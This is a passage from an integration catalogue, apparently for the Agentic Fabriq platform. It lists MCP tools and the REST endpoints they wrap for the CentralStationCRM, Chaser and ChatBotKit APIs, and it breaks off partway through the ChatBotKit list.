Retrieves all assis of the person via GET /api/people/{person_id}/assis GET /api/v1/centralstationcrm/api/people/{person_id}/assis. Scopes: api. centralstationcrm_get_api_people_by_person_id_assis_by_id (read) — Retrieves the assi for a person via GET /api/people/{person_id}/assis/{id} GET /api/v1/centralstationcrm/api/people/{person_id}/assis/{id}. Scopes: api. centralstationcrm_get_api_people_by_person_id_avatars (read) — Retrieves all avatars for a person via GET /api/people/{person_id}/avatars GET /api/v1/centralstationcrm/api/people/{person_id}/avatars. Scopes: api. centralstationcrm_get_api_people_by_person_id_avatars_by_id (read) — retrieve avatar for a person via GET /api/people/{person_id}/avatars/{id} GET /api/v1/centralstationcrm/api/people/{person_id}/avatars/{id}. Scopes: api. centralstationcrm_get_api_people_by_person_id_contact_details (read) — Retrieves all contact_details of the person via GET /api/people/{person_id}/contact_details GET /api/v1/centralstationcrm/api/people/{person_id}/contact_details. Scopes: api. centralstationcrm_get_api_people_by_person_id_contact_details_by_id (read) — Retrieves the tel for a person (ContactDetails) via GET /api/people/{person_id}/contact_details/{id} GET /api/v1/centralstationcrm/api/people/{person_id}/contact_details/{id}. Scopes: api. centralstationcrm_get_api_people_by_person_id_custom_fields (read) — Retrieves all custom_fields of the person via GET /api/people/{person_id}/custom_fields GET /api/v1/centralstationcrm/api/people/{person_id}/custom_fields. Scopes: api. centralstationcrm_get_api_people_by_person_id_custom_fields_by_id (read) — Retrieves the custom field for a person via GET /api/people/{person_id}/custom_fields/{id} GET /api/v1/centralstationcrm/api/people/{person_id}/custom_fields/{id}. Scopes: api. centralstationcrm_get_api_people_by_person_id_external_emails (read) — Retrieves all external_emails for a person via GET /api/people/{person_id}/external_emails GET /api/v1/centralstationcrm/api/people/{person_id}/external_emails. Scopes: api. centralstationcrm_get_api_people_by_person_id_external_emails_count (read) — Retrieves total amount of external_emails for a person via GET /api/people/{person_id}/external_emails/count GET /api/v1/centralstationcrm/api/people/{person_id}/external_emails/count. Scopes: api. centralstationcrm_get_api_people_by_person_id_historic_events (read) — Retrieves all historic_events of the person via GET /api/people/{person_id}/historic_events GET /api/v1/centralstationcrm/api/people/{person_id}/historic_events. Scopes: api. centralstationcrm_get_api_people_by_person_id_historic_events_by_id (read) — Retrieves the historic_event for a person via GET /api/people/{person_id}/historic_events/{id} GET /api/v1/centralstationcrm/api/people/{person_id}/historic_events/{id}. Scopes: api. centralstationcrm_get_api_people_by_person_id_positions (read) — Retrieves all positions for a person via GET /api/people/{person_id}/positions GET /api/v1/centralstationcrm/api/people/{person_id}/positions. Scopes: api. centralstationcrm_get_api_people_by_person_id_positions_by_id (read) — Retrieves a position for a person via GET /api/people/{person_id}/positions/{id} GET /api/v1/centralstationcrm/api/people/{person_id}/positions/{id}. Scopes: api. centralstationcrm_get_api_people_by_person_id_tags (read) — Retrieves all tags for a person via GET /api/people/{person_id}/tags GET /api/v1/centralstationcrm/api/people/{person_id}/tags. Scopes: api. centralstationcrm_get_api_people_by_person_id_tags_by_id (read) — Retrieves a tag for a person via GET /api/people/{person_id}/tags/{id} GET /api/v1/centralstationcrm/api/people/{person_id}/tags/{id}. Scopes: api. centralstationcrm_get_api_people_count (read) — Retrieves total amount of people (Person) via GET /api/people/count GET /api/v1/centralstationcrm/api/people/count. Scopes: api. centralstationcrm_get_api_people_search (read) — Retrieves people matching the search (Person) via GET /api/people/search GET /api/v1/centralstationcrm/api/people/search. Scopes: api. centralstationcrm_get_api_people_stats (read) — Retrieves key information of people (Person) via GET /api/people/stats GET /api/v1/centralstationcrm/api/people/stats. Scopes: api. centralstationcrm_get_api_projects (read) — Retrieves all projects via GET /api/projects GET /api/v1/centralstationcrm/api/projects. Scopes: api. centralstationcrm_get_api_projects_by_id (read) — Retrieves a project via GET /api/projects/{id} GET /api/v1/centralstationcrm/api/projects/{id}. Scopes: api. centralstationcrm_get_api_projects_by_project_id_external_emails (read) — Retrieves all external_emails for a project via GET /api/projects/{project_id}/external_emails GET /api/v1/centralstationcrm/api/projects/{project_id}/external_emails. Scopes: api. centralstationcrm_get_api_projects_by_project_id_external_emails_count (read) — Retrieves total amount of external_emails for a project via GET /api/projects/{project_id}/external_emails/count GET /api/v1/centralstationcrm/api/projects/{project_id}/external_emails/count. Scopes: api. centralstationcrm_get_api_projects_by_project_id_maildrop (read) — Retrieves the maildrop for a project via GET /api/projects/{project_id}/maildrop GET /api/v1/centralstationcrm/api/projects/{project_id}/maildrop. Scopes: api. centralstationcrm_get_api_projects_count (read) — Retrieves total amount of projects via GET /api/projects/count GET /api/v1/centralstationcrm/api/projects/count. Scopes: api. centralstationcrm_get_api_projects_search (read) — Retrieves projects matching the search via GET /api/projects/search GET /api/v1/centralstationcrm/api/projects/search. Scopes: api. centralstationcrm_get_api_projects_stats (read) — Retrieves key information of projects via GET /api/projects/stats GET /api/v1/centralstationcrm/api/projects/stats. Scopes: api. centralstationcrm_get_api_protocols (read) — Retrieves all protocols via GET /api/protocols GET /api/v1/centralstationcrm/api/protocols. Scopes: api. centralstationcrm_get_api_protocols_by_id (read) — Retrieves a protocol via GET /api/protocols/{id} GET /api/v1/centralstationcrm/api/protocols/{id}. Scopes: api. centralstationcrm_get_api_protocols_by_protocol_id_attachments (read) — Retrieves all attachments for a protocol via GET /api/protocols/{protocol_id}/attachments GET /api/v1/centralstationcrm/api/protocols/{protocol_id}/attachments. Scopes: api. centralstationcrm_get_api_protocols_by_protocol_id_attachments_by_id (read) — retrieve attachment for a protocol via GET /api/protocols/{protocol_id}/attachments/{id} GET /api/v1/centralstationcrm/api/protocols/{protocol_id}/attachments/{id}. Scopes: api. centralstationcrm_get_api_protocols_count (read) — Retrieves total amount of protocols via GET /api/protocols/count GET /api/v1/centralstationcrm/api/protocols/count. Scopes: api. centralstationcrm_get_api_search (read) — Retrieves search results via GET /api/search GET /api/v1/centralstationcrm/api/search. Scopes: api. centralstationcrm_get_api_tags (read) — Retrieves all tags via GET /api/tags GET /api/v1/centralstationcrm/api/tags. Scopes: api. centralstationcrm_get_api_tags_list (read) — Retrieves all tags via GET /api/tags/list GET /api/v1/centralstationcrm/api/tags/list. Scopes: api. centralstationcrm_get_api_tasks (read) — Retrieves all tasks of the account via GET /api/tasks GET /api/v1/centralstationcrm/api/tasks. Scopes: api. centralstationcrm_get_api_tasks_by_id (read) — Retrieves a task via GET /api/tasks/{id} GET /api/v1/centralstationcrm/api/tasks/{id}. Scopes: api. centralstationcrm_get_api_user (read) — Retrieve the current API user details via GET /api/user GET /api/v1/centralstationcrm/api/user. Scopes: api. centralstationcrm_get_api_user_maildrop (read) — Retrieve the current API user maildrop for people and companies via GET /api/user/maildrop GET /api/v1/centralstationcrm/api/user/maildrop. Scopes: api. centralstationcrm_get_api_users (read) — Retrieves all users of the account via GET /api/users GET /api/v1/centralstationcrm/api/users. Scopes: api. centralstationcrm_get_api_users_by_id (read) — Retrieves a user via GET /api/users/{id} GET /api/v1/centralstationcrm/api/users/{id}. Scopes: api. centralstationcrm_get_api_users_search (read) — Retrieves users matching the search via GET /api/users/search GET /api/v1/centralstationcrm/api/users/search. Scopes: api. centralstationcrm_post_api_attachments (write) — create attachment via POST /api/attachments POST /api/v1/centralstationcrm/api/attachments. Scopes: api. centralstationcrm_post_api_cal_events (write) — Creates a cal event via POST /api/cal_events POST /api/v1/centralstationcrm/api/cal_events. Scopes: api. centralstationcrm_post_api_cal_events_by_cal_event_id_cal_event_attendees (write) — Creates a cal event attendee for a calendar event via POST /api/cal_events/{cal_event_id}/cal_event_attendees POST /api/v1/centralstationcrm/api/cal_events/{cal_event_id}/cal_event_attendees. Scopes: api. centralstationcrm_post_api_comments (write) — Creates a comment via POST /api/comments POST /api/v1/centralstationcrm/api/comments. Scopes: api. centralstationcrm_post_api_companies (write) — Creates a basic company via POST /api/companies POST /api/v1/centralstationcrm/api/companies. Scopes: api. centralstationcrm_post_api_companies_by_company_id_addrs (write) — Creates a basic Addr for a company via POST /api/companies/{company_id}/addrs POST /api/v1/centralstationcrm/api/companies/{company_id}/addrs. Scopes: api. centralstationcrm_post_api_companies_by_company_id_avatars (write) — create avatar for a company via POST /api/companies/{company_id}/avatars POST /api/v1/centralstationcrm/api/companies/{company_id}/avatars. Scopes: api. centralstationcrm_post_api_companies_by_company_id_contact_details (write) — Creates a basic tel for a company (ContactDetails) via POST /api/companies/{company_id}/contact_details POST /api/v1/centralstationcrm/api/companies/{company_id}/contact_details. Scopes: api. centralstationcrm_post_api_companies_by_id_merge (write) — merge another company via POST /api/companies/{id}/merge POST /api/v1/centralstationcrm/api/companies/{id}/merge. Scopes: api. centralstationcrm_post_api_custom_fields_types (write) — Creates a custom field type via POST /api/custom_fields_types POST /api/v1/centralstationcrm/api/custom_fields_types. Scopes: api. centralstationcrm_post_api_deals (write) — Creates a basic deal via POST /api/deals POST /api/v1/centralstationcrm/api/deals. Scopes: api. centralstationcrm_post_api_external_emails_by_external_email_id_attachments (write) — create attachment for an external email via POST /api/external_emails/{external_email_id}/attachments POST /api/v1/centralstationcrm/api/external_emails/{external_email_id}/attachments. Scopes: api. centralstationcrm_post_api_group_calendars (write) — Creates a group calendar via POST /api/group_calendars POST /api/v1/centralstationcrm/api/group_calendars. Scopes: api. centralstationcrm_post_api_hooks (write) — Creates a hook via POST /api/hooks POST /api/v1/centralstationcrm/api/hooks. Scopes: api. centralstationcrm_post_api_people (write) — creates a person via POST /api/people POST /api/v1/centralstationcrm/api/people. Scopes: api. centralstationcrm_post_api_people_by_id_merge (write) — merge another person via POST /api/people/{id}/merge POST /api/v1/centralstationcrm/api/people/{id}/merge. Scopes: api. centralstationcrm_post_api_people_by_person_id_addrs (write) — Creates a basic Addr for a person via POST /api/people/{person_id}/addrs POST /api/v1/centralstationcrm/api/people/{person_id}/addrs. Scopes: api. centralstationcrm_post_api_people_by_person_id_assis (write) — Creates an assi of the person via POST /api/people/{person_id}/assis POST /api/v1/centralstationcrm/api/people/{person_id}/assis. Scopes: api. centralstationcrm_post_api_people_by_person_id_avatars (write) — create avatar for a person via POST /api/people/{person_id}/avatars POST /api/v1/centralstationcrm/api/people/{person_id}/avatars. Scopes: api. centralstationcrm_post_api_people_by_person_id_contact_details (write) — Creates a basic tel for a person (ContactDetails) via POST /api/people/{person_id}/contact_details POST /api/v1/centralstationcrm/api/people/{person_id}/contact_details. Scopes: api. centralstationcrm_post_api_people_by_person_id_custom_fields (write) — Creates a basic custom field for a person via POST /api/people/{person_id}/custom_fields POST /api/v1/centralstationcrm/api/people/{person_id}/custom_fields. Scopes: api. centralstationcrm_post_api_people_by_person_id_historic_events (write) — Creates a basic historic_event for a person via POST /api/people/{person_id}/historic_events POST /api/v1/centralstationcrm/api/people/{person_id}/historic_events. Scopes: api. centralstationcrm_post_api_people_by_person_id_positions (write) — Creates a basic position for a person via POST /api/people/{person_id}/positions POST /api/v1/centralstationcrm/api/people/{person_id}/positions. Scopes: api. centralstationcrm_post_api_people_by_person_id_tags (write) — Creates a basic tag for a person via POST /api/people/{person_id}/tags POST /api/v1/centralstationcrm/api/people/{person_id}/tags. Scopes: api. centralstationcrm_post_api_projects (write) — Creates a basic project via POST /api/projects POST /api/v1/centralstationcrm/api/projects. Scopes: api. centralstationcrm_post_api_protocols (write) — Creates a protocol via POST /api/protocols POST /api/v1/centralstationcrm/api/protocols. Scopes: api. centralstationcrm_post_api_protocols_by_protocol_id_attachments (write) — create attachment for a protocol via POST /api/protocols/{protocol_id}/attachments POST /api/v1/centralstationcrm/api/protocols/{protocol_id}/attachments. Scopes: api. centralstationcrm_post_api_tags (write) — Creates a basic tag via POST /api/tags POST /api/v1/centralstationcrm/api/tags. Scopes: api. centralstationcrm_post_api_tasks (write) — Creates a task via POST /api/tasks POST /api/v1/centralstationcrm/api/tasks. Scopes: api. centralstationcrm_put_api_cal_events_by_cal_event_id_cal_event_attendees_by_id (write) — Update a cal event attendee for a calendar event via PUT /api/cal_events/{cal_event_id}/cal_event_attendees/{id} PUT /api/v1/centralstationcrm/api/cal_events/{cal_event_id}/cal_event_attendees/{id}. Scopes: api. centralstationcrm_put_api_cal_events_by_id (write) — Update a cal event via PUT /api/cal_events/{id} PUT /api/v1/centralstationcrm/api/cal_events/{id}. Scopes: api. centralstationcrm_put_api_comments_by_id (write) — Update a comment via PUT /api/comments/{id} PUT /api/v1/centralstationcrm/api/comments/{id}. Scopes: api. centralstationcrm_put_api_companies_by_company_id_addrs_by_id (write) — Update a addr for a company via PUT /api/companies/{company_id}/addrs/{id} PUT /api/v1/centralstationcrm/api/companies/{company_id}/addrs/{id}. Scopes: api. centralstationcrm_put_api_companies_by_company_id_contact_details_by_id (write) — Update a contact_detail for a company (ContactDetails) via PUT /api/companies/{company_id}/contact_details/{id} PUT /api/v1/centralstationcrm/api/companies/{company_id}/contact_details/{id}. Scopes: api. centralstationcrm_put_api_companies_by_id (write) — Update a company via PUT /api/companies/{id} PUT /api/v1/centralstationcrm/api/companies/{id}. Scopes: api. centralstationcrm_put_api_custom_fields_types_by_id (write) — Update a custom field type via PUT /api/custom_fields_types/{id} PUT /api/v1/centralstationcrm/api/custom_fields_types/{id}. Scopes: api. centralstationcrm_put_api_deals_by_id (write) — Update a deal via PUT /api/deals/{id} PUT /api/v1/centralstationcrm/api/deals/{id}. Scopes: api. centralstationcrm_put_api_group_calendars_by_id (write) — Update a group calendar via PUT /api/group_calendars/{id} PUT /api/v1/centralstationcrm/api/group_calendars/{id}. Scopes: api. centralstationcrm_put_api_people_by_id (write) — Update a person via PUT /api/people/{id} PUT /api/v1/centralstationcrm/api/people/{id}. Scopes: api. centralstationcrm_put_api_people_by_person_id_addrs_by_id (write) — Update a addr for a person via PUT /api/people/{person_id}/addrs/{id} PUT /api/v1/centralstationcrm/api/people/{person_id}/addrs/{id}. Scopes: api. centralstationcrm_put_api_people_by_person_id_assis_by_id (write) — Update a assi for a person via PUT /api/people/{person_id}/assis/{id} PUT /api/v1/centralstationcrm/api/people/{person_id}/assis/{id}. Scopes: api. centralstationcrm_put_api_people_by_person_id_contact_details_by_id (write) — Update a contact_detail for a person (ContactDetails) via PUT /api/people/{person_id}/contact_details/{id} PUT /api/v1/centralstationcrm/api/people/{person_id}/contact_details/{id}. Scopes: api. centralstationcrm_put_api_people_by_person_id_custom_fields_by_id (write) — Update a custom_field for a person via PUT /api/people/{person_id}/custom_fields/{id} PUT /api/v1/centralstationcrm/api/people/{person_id}/custom_fields/{id}. Scopes: api. centralstationcrm_put_api_people_by_person_id_historic_events_by_id (write) — Update a historic_event for a person via PUT /api/people/{person_id}/historic_events/{id} PUT /api/v1/centralstationcrm/api/people/{person_id}/historic_events/{id}. Scopes: api. centralstationcrm_put_api_people_by_person_id_positions_by_id (write) — Update a position for a person via PUT /api/people/{person_id}/positions/{id} PUT /api/v1/centralstationcrm/api/people/{person_id}/positions/{id}. Scopes: api. centralstationcrm_put_api_people_by_person_id_tags_by_id (write) — Update a tag for a person via PUT /api/people/{person_id}/tags/{id} PUT /api/v1/centralstationcrm/api/people/{person_id}/tags/{id}. Scopes: api. centralstationcrm_put_api_projects_by_id (write) — Update a project via PUT /api/projects/{id} PUT /api/v1/centralstationcrm/api/projects/{id}. Scopes: api. centralstationcrm_put_api_protocols_by_id (write) — Update a protocol via PUT /api/protocols/{id} PUT /api/v1/centralstationcrm/api/protocols/{id}. Scopes: api. centralstationcrm_put_api_tasks_by_id (write) — Update a task via PUT /api/tasks/{id} PUT /api/v1/centralstationcrm/api/tasks/{id}. Scopes: api. ================================================================================ ## Chaser URL: https://www.agenticfabriq.com/integrations/chaser Section: Integrated Tools Chaser — 54 MCP tools Provider key: chaser. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. chaser_delete_v1_customers_by_customer_id_contact_persons_by_contact_person_id (write, destructive) — Delete contact person via DELETE /v1/customers/{customer_id}/contact_persons/{contact_person_id}. DELETE /api/v1/chaser/v1/customers/{customer_id}/contact_persons/{contact_person_id}. Scopes: api. chaser_delete_v1_customers_by_customer_id_notes_by_note_id (write, destructive) — Delete customer note via DELETE /v1/customers/{customer_id}/notes/{note_id}. Delete a note from a customer DELETE /api/v1/chaser/v1/customers/{customer_id}/notes/{note_id}. Scopes: api. chaser_delete_v1_templates_by_template_id (write, destructive) — Delete template via DELETE /v1/templates/{template_id}. Delete a template. A template cannot be deleted if it is being used in a schedule. DELETE /api/v1/chaser/v1/templates/{template_id}. Scopes: api. chaser_get_status (read) — Service status via GET /status. Liveness check for the Chaser API. Needs no credential and answers 200 with the plain text "OK" (measured 2026-09-16); it is the only path outside the /v1 prefix that ships. Use it to tell a Chaser outage apart from a credential problem: a 403 on a /v1 call with this answering 200 means the key, not the service. GET /api/v1/chaser/status. Scopes: api. chaser_get_v1_credit_notes (read) — Get credit notes via GET /v1/credit_notes. GET /api/v1/chaser/v1/credit_notes. Scopes: api. chaser_get_v1_credit_notes_by_credit_note_id (read) — Get credit note by id via GET /v1/credit_notes/{credit_note_id}. GET /api/v1/chaser/v1/credit_notes/{credit_note_id}. Scopes: api. chaser_get_v1_customers (read) — Get customers via GET /v1/customers. GET /api/v1/chaser/v1/customers. Scopes: api. chaser_get_v1_customers_by_customer_id (read) — Get customers by id via GET /v1/customers/{customer_id}. Get customer by id. GET /api/v1/chaser/v1/customers/{customer_id}. Scopes: api. chaser_get_v1_customers_by_customer_id_contact_persons (read) — Get contact persons via GET /v1/customers/{customer_id}/contact_persons. GET /api/v1/chaser/v1/customers/{customer_id}/contact_persons. Scopes: api. chaser_get_v1_customers_by_customer_id_contact_persons_by_contact_person_id (read) — Get contact person by id via GET /v1/customers/{customer_id}/contact_persons/{contact_person_id}. GET /api/v1/chaser/v1/customers/{customer_id}/contact_persons/{contact_person_id}. Scopes: api. chaser_get_v1_customers_by_customer_id_notes (read) — Get customer notes via GET /v1/customers/{customer_id}/notes. Get notes for a customer GET /api/v1/chaser/v1/customers/{customer_id}/notes. Scopes: api. chaser_get_v1_invoices (read) — Get invoices via GET /v1/invoices. GET /api/v1/chaser/v1/invoices. Scopes: api. chaser_get_v1_invoices_by_invoice_id (read) — Get invoice by id via GET /v1/invoices/{invoice_id}. GET /api/v1/chaser/v1/invoices/{invoice_id}. Scopes: api. chaser_get_v1_invoices_by_invoice_id_history (read) — Get invoice history by id via GET /v1/invoices/{invoice_id}/history. GET /api/v1/chaser/v1/invoices/{invoice_id}/history. Scopes: api. chaser_get_v1_invoices_history (read) — Get invoice history via GET /v1/invoices/history. GET /api/v1/chaser/v1/invoices/history. Scopes: api. chaser_get_v1_organisation (read) — Get current organisation via GET /v1/organisation. GET /api/v1/chaser/v1/organisation. Scopes: api. chaser_get_v1_organisations (read) — Get organisations via GET /v1/organisations. GET /api/v1/chaser/v1/organisations. Scopes: api. chaser_get_v1_overpayments (read) — Get overpayments via GET /v1/overpayments. GET /api/v1/chaser/v1/overpayments. Scopes: api. chaser_get_v1_overpayments_by_overpayment_id (read) — Get overpayment by id via GET /v1/overpayments/{overpayment_id}. GET /api/v1/chaser/v1/overpayments/{overpayment_id}. Scopes: api. chaser_get_v1_schedules (read) — Get schedules via GET /v1/schedules. Get all schedules for the organisation GET /api/v1/chaser/v1/schedules. Scopes: api. chaser_get_v1_schedules_by_schedule_id (read) — Get schedule by id via GET /v1/schedules/{schedule_id}. Get a schedule by id GET /api/v1/chaser/v1/schedules/{schedule_id}. Scopes: api. chaser_get_v1_tasks (read) — Get tasks via GET /v1/tasks. GET /api/v1/chaser/v1/tasks. Scopes: api. chaser_get_v1_templates (read) — Get templates via GET /v1/templates. Get all templates for the organisation GET /api/v1/chaser/v1/templates. Scopes: api. chaser_get_v1_templates_by_template_id (read) — Get template by id via GET /v1/templates/{template_id}. Get a template by id GET /api/v1/chaser/v1/templates/{template_id}. Scopes: api. chaser_patch_v1_customers_by_customer_id_notes_by_note_id (write) — Update customer note via PATCH /v1/customers/{customer_id}/notes/{note_id}. Update a note on a customer PATCH /api/v1/chaser/v1/customers/{customer_id}/notes/{note_id}. Scopes: api. chaser_patch_v1_tasks_by_task_id (write) — Update task via PATCH /v1/tasks/{task_id}. Update a task status, assignee, due date, or metadata PATCH /api/v1/chaser/v1/tasks/{task_id}. Scopes: api. chaser_post_v1_chasing_pause (write) — Pause organisation chasing via POST /v1/chasing/pause. Pause chasing for the entire organisation. No invoices will be chased until resumed. POST /api/v1/chaser/v1/chasing/pause. Scopes: api. chaser_post_v1_chasing_resume (write) — Resume organisation chasing via POST /v1/chasing/resume. Resume chasing for the entire organisation. POST /api/v1/chaser/v1/chasing/resume. Scopes: api. chaser_post_v1_credit_notes (write) — Create credit note via POST /v1/credit_notes. POST /api/v1/chaser/v1/credit_notes. Scopes: api. chaser_post_v1_customers (write) — Create customer via POST /v1/customers. POST /api/v1/chaser/v1/customers. Scopes: api. chaser_post_v1_customers_by_customer_id_chasing_pause (write) — Pause customer chasing via POST /v1/customers/{customer_id}/chasing/pause. Pause chasing on a customer. All invoices for this customer will not be chased until resumed. POST /api/v1/chaser/v1/customers/{customer_id}/chasing/pause. Scopes: api. chaser_post_v1_customers_by_customer_id_chasing_resume (write) — Resume customer chasing via POST /v1/customers/{customer_id}/chasing/resume. Resume chasing on a customer. All invoices for this customer will be chased again. POST /api/v1/chaser/v1/customers/{customer_id}/chasing/resume. Scopes: api. chaser_post_v1_customers_by_customer_id_contact_persons (write) — Create contact person via POST /v1/customers/{customer_id}/contact_persons. POST /api/v1/chaser/v1/customers/{customer_id}/contact_persons. Scopes: api. chaser_post_v1_customers_by_customer_id_notes (write) — Create customer note via POST /v1/customers/{customer_id}/notes. Create a note on a customer POST /api/v1/chaser/v1/customers/{customer_id}/notes. Scopes: api. chaser_post_v1_invoices (write) — Create invoice via POST /v1/invoices. POST /api/v1/chaser/v1/invoices. Scopes: api. chaser_post_v1_invoices_by_invoice_id_chasing_pause (write) — Pause invoice chasing via POST /v1/invoices/{invoice_id}/chasing/pause. Pause chasing on an invoice. The invoice will not be chased until resumed. POST /api/v1/chaser/v1/invoices/{invoice_id}/chasing/pause. Scopes: api. chaser_post_v1_invoices_by_invoice_id_chasing_resume (write) — Resume invoice chasing via POST /v1/invoices/{invoice_id}/chasing/resume. Resume chasing on an invoice. POST /api/v1/chaser/v1/invoices/{invoice_id}/chasing/resume. Scopes: api. chaser_post_v1_organisation_sync (write) — Sync organisation. via POST /v1/organisation/sync. Sync organisation. Rate-limit 5 requests per 1 hour. POST /api/v1/chaser/v1/organisation/sync. Scopes: api. chaser_post_v1_overpayments (write) — Create overpayment via POST /v1/overpayments. POST /api/v1/chaser/v1/overpayments. Scopes: api. chaser_post_v1_schedules (write) — Create schedule via POST /v1/schedules. Create a new schedule POST /api/v1/chaser/v1/schedules. Scopes: api. chaser_post_v1_schedules_by_schedule_id_assign (write) — Assign schedule to customers via POST /v1/schedules/{schedule_id}/assign. Assign a schedule to customers. This sets the chasing schedule for the given customers. POST /api/v1/chaser/v1/schedules/{schedule_id}/assign. Scopes: api. chaser_post_v1_tasks (write) — Create task via POST /v1/tasks. Create a task POST /api/v1/chaser/v1/tasks. Scopes: api. chaser_post_v1_templates (write) — Create template via POST /v1/templates. Create a new template POST /api/v1/chaser/v1/templates. Scopes: api. chaser_put_v1_bulk_credit_notes (write) — Bulk Upsert credit notes. via PUT /v1/bulk/credit_notes. Bulk Upsert up to 100 credit notes, matching by credit_notes_id (or id). PUT /api/v1/chaser/v1/bulk/credit_notes. Scopes: api. chaser_put_v1_bulk_customers (write) — Bulk Upsert customers. via PUT /v1/bulk/customers. Bulk Upsert up to 100 customers, matching by external_id (or id). PUT /api/v1/chaser/v1/bulk/customers. Scopes: api. chaser_put_v1_bulk_customers_by_customer_id_contact_persons (write) — Bulk Upsert contact persons. via PUT /v1/bulk/customers/{customer_id}/contact_persons. Bulk Upsert contact persons, matching by external_id. PUT /api/v1/chaser/v1/bulk/customers/{customer_id}/contact_persons. Scopes: api. chaser_put_v1_bulk_invoices (write) — Bulk Upsert invoices. via PUT /v1/bulk/invoices. Bulk Upsert up to 100 invoices, matching by invoice_id (or id). PUT /api/v1/chaser/v1/bulk/invoices. Scopes: api. chaser_put_v1_bulk_overpayments (write) — Bulk Upsert overpayments. via PUT /v1/bulk/overpayments. Bulk Upsert up to 100 overpayments, matching by overpayment_id (or id). PUT /api/v1/chaser/v1/bulk/overpayments. Scopes: api. chaser_put_v1_credit_notes_by_credit_note_id (write) — Update credit note via PUT /v1/credit_notes/{credit_note_id}. PUT /api/v1/chaser/v1/credit_notes/{credit_note_id}. Scopes: api. chaser_put_v1_customers_by_customer_id (write) — Update customer via PUT /v1/customers/{customer_id}. PUT /api/v1/chaser/v1/customers/{customer_id}. Scopes: api. chaser_put_v1_customers_by_customer_id_contact_persons_by_contact_person_id (write) — Update contact person via PUT /v1/customers/{customer_id}/contact_persons/{contact_person_id}. PUT /api/v1/chaser/v1/customers/{customer_id}/contact_persons/{contact_person_id}. Scopes: api. chaser_put_v1_invoices_by_invoice_id (write) — Update invoice via PUT /v1/invoices/{invoice_id}. PUT /api/v1/chaser/v1/invoices/{invoice_id}. Scopes: api. chaser_put_v1_overpayments_by_overpayment_id (write) — Update overpayment via PUT /v1/overpayments/{overpayment_id}. PUT /api/v1/chaser/v1/overpayments/{overpayment_id}. Scopes: api. chaser_put_v1_templates_by_template_id (write) — Update template via PUT /v1/templates/{template_id}. Update a template PUT /api/v1/chaser/v1/templates/{template_id}. Scopes: api. ================================================================================ ## ChatBotKit URL: https://www.agenticfabriq.com/integrations/chatbotkit Section: Integrated Tools ChatBotKit — 334 MCP tools Provider key: chatbotkit. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. chatbotkit_get_blueprint_by_blueprintid_bulletin_list (read) — List the bulletins on a blueprint's shared board via GET /blueprint/{blueprintId}/bulletin/list GET /api/v1/chatbotkit/blueprint/{blueprintId}/bulletin/list. Scopes: api. chatbotkit_get_blueprint_by_blueprintid_fetch (read) — Fetch a blueprint via GET /blueprint/{blueprintId}/fetch GET /api/v1/chatbotkit/blueprint/{blueprintId}/fetch. Scopes: api. chatbotkit_get_blueprint_by_blueprintid_resource_export (read) — Export blueprint resources via GET /blueprint/{blueprintId}/resource/export GET /api/v1/chatbotkit/blueprint/{blueprintId}/resource/export. Scopes: api. chatbotkit_get_blueprint_by_blueprintid_resource_list (read) — List the resources of a blueprint via GET /blueprint/{blueprintId}/resource/list GET /api/v1/chatbotkit/blueprint/{blueprintId}/resource/list. Scopes: api. chatbotkit_get_blueprint_list (read) — Retrieve a list of blueprints via GET /blueprint/list GET /api/v1/chatbotkit/blueprint/list. Scopes: api. chatbotkit_get_bot_by_botid_fetch (read) — Fetch a bot via GET /bot/{botId}/fetch GET /api/v1/chatbotkit/bot/{botId}/fetch. Scopes: api. chatbotkit_get_bot_by_botid_usage_fetch (read) — Fetch bot usage statistics via GET /bot/{botId}/usage/fetch GET /api/v1/chatbotkit/bot/{botId}/usage/fetch. Scopes: api. chatbotkit_get_bot_list (read) — Retrieve a list of bots via GET /bot/list GET /api/v1/chatbotkit/bot/list. Scopes: api. chatbotkit_get_contact_by_contactid_conversation_list (read) — List contact conversations via GET /contact/{contactId}/conversation/list GET /api/v1/chatbotkit/contact/{contactId}/conversation/list. Scopes: api. chatbotkit_get_contact_by_contactid_fetch (read) — Fetch contact via GET /contact/{contactId}/fetch GET /api/v1/chatbotkit/contact/{contactId}/fetch. Scopes: api. chatbotkit_get_contact_by_contactid_memory_list (read) — List contact memories via GET /contact/{contactId}/memory/list GET /api/v1/chatbotkit/contact/{contactId}/memory/list. Scopes: api. chatbotkit_get_contact_by_contactid_rating_list (read) — List contact ratings via GET /contact/{contactId}/rating/list GET /api/v1/chatbotkit/contact/{contactId}/rating/list. Scopes: api. chatbotkit_get_contact_by_contactid_secret_list (read) — List contact secrets via GET /contact/{contactId}/secret/list GET /api/v1/chatbotkit/contact/{contactId}/secret/list. Scopes: api. chatbotkit_get_contact_by_contactid_space_list (read) — List contact spaces via GET /contact/{contactId}/space/list GET /api/v1/chatbotkit/contact/{contactId}/space/list. Scopes: api. chatbotkit_get_contact_by_contactid_task_list (read) — List contact tasks via GET /contact/{contactId}/task/list GET /api/v1/chatbotkit/contact/{contactId}/task/list. Scopes: api. chatbotkit_get_contact_export (read) — Export contacts via GET /contact/export GET /api/v1/chatbotkit/contact/export. Scopes: api. chatbotkit_get_contact_list (read) — List contacts via GET /contact/list GET /api/v1/chatbotkit/contact/list. Scopes: api. chatbotkit_get_conversation_by_conversationid_attachment_list (read) — List conversation attachments via GET /conversation/{conversationId}/attachment/list GET /api/v1/chatbotkit/conversation/{conversationId}/attachment/list. Scopes: api. chatbotkit_get_conversation_by_conversationid_fetch (read) — Fetch conversation via GET /conversation/{conversationId}/fetch GET /api/v1/chatbotkit/conversation/{conversationId}/fetch. Scopes: api. chatbotkit_get_conversation_by_conversationid_message_by_messageid_fetch (read) — Fetch conversation message via GET /conversation/{conversationId}/message/{messageId}/fetch GET 